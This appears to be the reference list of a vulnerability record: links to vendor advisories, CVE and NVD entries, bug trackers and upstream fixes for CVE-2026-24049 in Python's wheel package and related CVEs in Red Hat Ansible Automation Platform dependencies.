openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1280
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1281
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1376
pypi.org/project/wheel
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_1902.json
cve.org/CVERecord?id=CVE-2026-24049
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_1939.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2090.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2710.json
issues.redhat.com/browse/DISCOVERY-1276
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2823.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2865.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2866.json
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
bugzilla.redhat.com/show_bug.cgi?id=2427456
bugzilla.redhat.com/show_bug.cgi?id=2428412
bugzilla.redhat.com/show_bug.cgi?id=2428421
bugzilla.redhat.com/show_bug.cgi?id=2428426
bugzilla.redhat.com/show_bug.cgi?id=2430472
bugzilla.redhat.com/show_bug.cgi?id=2431740
bugzilla.redhat.com/show_bug.cgi?id=2432398
bugzilla.redhat.com/show_bug.cgi?id=2434432
bugzilla.redhat.com/show_bug.cgi?id=2436338
bugzilla.redhat.com/show_bug.cgi?id=2436339
bugzilla.redhat.com/show_bug.cgi?id=2436340
bugzilla.redhat.com/show_bug.cgi?id=2436341
bugzilla.redhat.com/show_bug.cgi?id=2436342
issues.redhat.com/browse/AAP-62864
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_3958.json
access.redhat.com/security/cve/CVE-2025-13465
cve.org/CVERecord?id=CVE-2025-13465
nvd.nist.gov/vuln/detail/CVE-2025-13465
github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg
access.redhat.com/security/cve/CVE-2025-14550
cve.org/CVERecord?id=CVE-2025-14550
nvd.nist.gov/vuln/detail/CVE-2025-14550
docs.djangoproject.com/en/dev/releases/security
groups.google.com/g/django-announce
djangoproject.com/weblog/2026/feb/03/security-releases
access.redhat.com/security/cve/CVE-2025-59057
cve.org/CVERecord?id=CVE-2025-59057
nvd.nist.gov/vuln/detail/CVE-2025-59057
github.com/remix-run/react-router/security/advisories/GHSA-3cgp-3xvw-98x8
access.redhat.com/security/cve/CVE-2025-61726
cve.org/CVERecord?id=CVE-2025-61726
nvd.nist.gov/vuln/detail/CVE-2025-61726
go.dev/cl/736712
go.dev/issue/77101
groups.google.com/g/golang-announce/c/Vd2tYVM8eUc
pkg.go.dev/vuln/GO-2026-4341
access.redhat.com/security/cve/CVE-2025-69223
cve.org/CVERecord?id=CVE-2025-69223
nvd.nist.gov/vuln/detail/CVE-2025-69223
github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a
github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg
access.redhat.com/security/cve/CVE-2026-0994
cve.org/CVERecord?id=CVE-2026-0994
nvd.nist.gov/vuln/detail/CVE-2026-0994
github.com/protocolbuffers/protobuf/pull/25239
access.redhat.com/security/cve/CVE-2026-1207
cve.org/CVERecord?id=CVE-2026-1207
nvd.nist.gov/vuln/detail/CVE-2026-1207
access.redhat.com/security/cve/CVE-2026-1285
cve.org/CVERecord?id=CVE-2026-1285
nvd.nist.gov/vuln/detail/CVE-2026-1285
access.redhat.com/security/cve/CVE-2026-1287
cve.org/CVERecord?id=CVE-2026-1287
nvd.nist.gov/vuln/detail/CVE-2026-1287
access.redhat.com/security/cve/CVE-2026-1312
cve.org/CVERecord?id=CVE-2026-1312
nvd.nist.gov/vuln/detail/CVE-2026-1312
access.redhat.com/security/cve/CVE-2026-21884
cve.org/CVERecord?id=CVE-2026-21884
nvd.nist.gov/vuln/detail/CVE-2026-21884
github.com/remix-run/react-router/security/advisories/GHSA-8v8x-cx79-35w7
access.redhat.com/security/cve/CVE-2026-22029
cve.org/CVERecord?id=CVE-2026-22029
nvd.nist.gov/vuln/detail/CVE-2026-22029
github.com/remix-run/react-router/security/advisories/GHSA-2w69-qvjg-hvjx
access.redhat.com/security/cve/CVE-2026-23490
cve.org/CVERecord?id=CVE-2026-23490
nvd.nist.gov/vuln/detail/CVE-2026-23490
github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970
github.com/pyasn1/pyasn1/releases/tag/v0.6.2
github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_3959.json
errata.rockylinux.org/RLSA-2026:1902
errata.rockylinux.org/RLSA-2026:1939
errata.rockylinux.org/RLSA-2026:2090
suse.com/support/update/announcement/2026/suse-su-20260424-1
bugzilla.suse.com/1257100
suse.com/security/cve/CVE-2026-24049
suse.com/support/update/announcement/2026/suse-su-20260425-1
suse.com/support/update/announcement/2026/suse-su-20260460-1
suse.com/support/update/announcement/2026/suse-su-202620217-1
ubuntu.com/security/CVE-2026-24049
ubuntu.com/security/notices/USN-8221-1
Left out here: the rest of 3 source descriptions. The JSON record has them.